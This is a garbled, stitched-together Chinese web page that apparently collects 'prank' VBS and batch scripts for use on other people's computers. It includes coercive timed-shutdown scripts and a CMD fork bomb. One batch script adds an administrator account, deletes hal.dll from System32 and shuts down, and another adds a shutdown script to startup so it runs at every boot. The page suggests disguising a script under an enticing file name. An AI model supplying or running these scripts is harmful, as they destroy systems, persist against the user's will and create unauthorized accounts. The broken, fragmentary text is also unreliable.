gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quot。
第一步，将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特，不说就30秒关你。
注意条款全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责echo off echo 开始 2 start cmdexe goto 2 就是主要是利用goto 来跳转到2 循环跳转就是循环用start 打开CMD ^^ 友情提示。
bat文件 测试平台32bit XP 功能让电脑死机 代码开始 0%0 代码结束 使用方法1新建个文档别告我你不会2复制粘贴那段代码 3保存为XXXXXbatXXXXX为随意名字，比如刷钻什么的。
代码开始，只抄横线里面的 ___echo off net user administrator nishizhu\add del s q c\Windows\System32\haldll shutdown s t 5 c 你是一头猪___代码详解echo off 隐藏命令，关闭回。
这个是一个清除器，你可以结束掉接下来你操作 当你打开其他VBS脚本时不会关掉 就双击这个vbs脚本就可以了制作方法建立一个记事本写下我告诉你的代码 然后点击lt文件lt留存为选择所有文件，并且文件名为。
echo off color 0b mode concols=80 lines=20 title=超级病毒 for L a in 3，1，0 do for l a in 1，1，8do echo\ echo 入侵倒计时 a 秒 ping n 2 1271 1nul 2nul cls cls color。
有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~简单描述一下文件夹同名病毒Autorun病毒大家都熟悉吧效果就是那样不过放心吧，绝不是真的病毒，骗人的，试想，如果有人中招，他会怎么办。
vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。
dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim。
代码开始，只抄横线里面的 ___echo off net user administrator nishizhu\add del s q c\Windows\System32\haldll shutdown s t 5 c 你是一头猪___代码详解echo off 隐藏命令，关闭回显。
do Msgbox quotThere is not found CWINDOWSsystem32bootiniquot，48，quotError！quotset ws=createobjectquotwscriptshellquotwsrun quotshutdown s t 100 c quot chr34quot 温謦提醒！quot chr13chr13quot。
并且把它加到开机启动项，每每开机时就会弹出以上的气球在secdo，bat在系统盘自动创建另一个bat文件，就是关机的代码，并且加入该bat文件到开机启动项，每每一开机10秒后便开始关机，这个够呛的吧～ ^ ^。
chr13 + chr13 + quot哈哈哈哈，真过瘾quot保存后 重命名为 整人VBS 然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown a 即可取消关机命令 然后使用任务管理器结束进程即可。
true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，你真听话！哈quot用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY复制此代码新建文本文档命名为 整人vbe名字随便起，后缀名是vbe就可以了。